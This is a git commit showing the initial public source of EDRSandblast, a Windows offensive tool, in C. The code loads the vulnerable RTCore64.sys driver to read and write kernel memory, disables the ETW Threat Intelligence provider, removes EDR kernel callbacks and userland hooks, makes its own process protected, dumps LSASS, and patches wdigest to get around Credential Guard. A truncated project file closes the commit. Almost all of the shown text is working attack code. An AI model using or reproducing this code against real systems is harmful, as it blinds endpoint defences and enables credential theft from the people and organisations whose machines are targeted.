Initial commit for public version

Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
Maxime Meignan
2021-11-08 09:54:05 +01:00
commit 4bff81986b
42 changed files with 8490 additions and 0 deletions
+84
View File
@@ -0,0 +1,84 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include "ETWThreatIntel.h"
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
return 0x0;
}
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
}
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
return 0x0;
}
HANDLE Device = GetDriverHandle();
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
if (verbose) {
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
CloseHandle(Device);
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
HANDLE Device = GetDriverHandle();
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
if (finalState == enable) {
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
else {
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
}
CloseHandle(Device);
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
HANDLE Device = GetDriverHandle();
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
CloseHandle(Device);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
File diff suppressed because it is too large Load Diff
+34
View File
@@ -0,0 +1,34 @@
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <stdio.h>
#include <Dbghelp.h>
#include <stdlib.h>
#include <Psapi.h>
#include <Tchar.h>
#include <tlhelp32.h>
#include <malloc.h>
#include <assert.h>
#include "CredGuard.h"
#include "DriverOps.h"
#include "ETWThreatIntel.h"
#include "FileVersion.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelPatternSearch.h"
#include "LSASSDump.h"
#include "NtoskrnlOffsets.h"
#include "RunAsPPL.h"
#include "WdigestOffsets.h"
#include "UserlandHooks.h"
#define SERVICE_NAME_LENGTH 8
typedef enum _START_MODE {
dump,
cmd,
credguard,
audit
} START_MODE;
+515
View File
@@ -0,0 +1,515 @@
#include "EDRSandBlast.h"
/*
--- Execution entry point.
*/
static TCHAR* randString(TCHAR* str, size_t size)
{
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (size) {
--size;
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
}
return str;
}
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
// TCHAR* gVulnDriverServiceName;
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'lsass' in the current directory.\n");
BOOL status;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode;
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
TCHAR driverPath[MAX_PATH * 2] = { 0 };
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR outputPath[MAX_PATH * 2] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
hook* hooks = NULL;
/*
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
*/
for (int i = 2; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else {
_tprintf(TEXT("%s"), usage);
return 1;
}
}
// Command line option consistency checks
if (startMode == cmd && !kernelMode) {
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (startMode == credguard && !kernelMode) {
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
BOOL isSafeToExecutePayload = TRUE;
if (kernelMode) {
if (_tcslen(driverPath) == 0) {
TCHAR separator[] = TEXT("\\");
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
DWORD driverAttrib = GetFileAttributes(driverPath);
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("\n\n"));
// Install the vulnerable driver to have read / write in Kernel memory.
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
Sleep(2000);
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
return EXIT_FAILURE;
}
}
_tprintf(TEXT("\n\n"));
Sleep(5000);
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (checkEDRDrivers->index) {
isSafeToExecutePayload = FALSE;
}
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_tprintf(TEXT("\n\n"));
if (ETWTIState) {
isSafeToExecutePayload = FALSE;
}
}
if (userMode) {
_tprintf(TEXT("Loaded DLLs in current process:\n"));
hooks = searchHooks(NULL);
_tprintf(TEXT("\n\n"));
}
if (startMode != audit) {
if (userMode) {
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
if (isSafeToExecutePayload) {
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(outputPath) == 0) {
TCHAR outputName[] = TEXT("\\lsass");
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
}
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
lpExitCode = EXIT_FAILURE;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("\n\n"));
if (disableCredGuardByPatchingLSASS()) {
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
}
else {
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
lpExitCode = EXIT_FAILURE;
}
}
break;
}
_tprintf(TEXT("\n\n"));
}
else {
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
// Removes EDR drivers callbacks for process / threads creation and image loading.
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!removedEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
free(removedEDRDrivers);
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
_tprintf(TEXT("\n\n"));
if (checkEDRDrivers->index != 0) {
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
_tprintf(TEXT("\n\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
TCHAR* currentCommandLine = GetCommandLine();
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
const SIZE_T commandLineMaxLen = 32768;
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
lpExitCode = EXIT_FAILURE;
}
free(commandLine);
_tprintf(TEXT("\n\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
// Restores the EDR drivers.
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
RestoreEDRCallbacks(removedEDRDrivers);
_tprintf(TEXT("\n\n"));
// Checks that the EDR drivers were indeed restored.
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
}
else {
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
lpExitCode = EXIT_FAILURE;
}
free(checkEDRDrivers);
_tprintf(TEXT("\n\n"));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
}
if (removedEDRDrivers) {
free(removedEDRDrivers);
}
}
}
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
if (kernelMode && removeVulnDriver) {
Sleep(5000);
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
status = UninstallVulnerableDriver();
if (status == FALSE) {
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
}
}
return lpExitCode;
}
+195
View File
@@ -0,0 +1,195 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
<RootNamespace>EDRSandblast</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
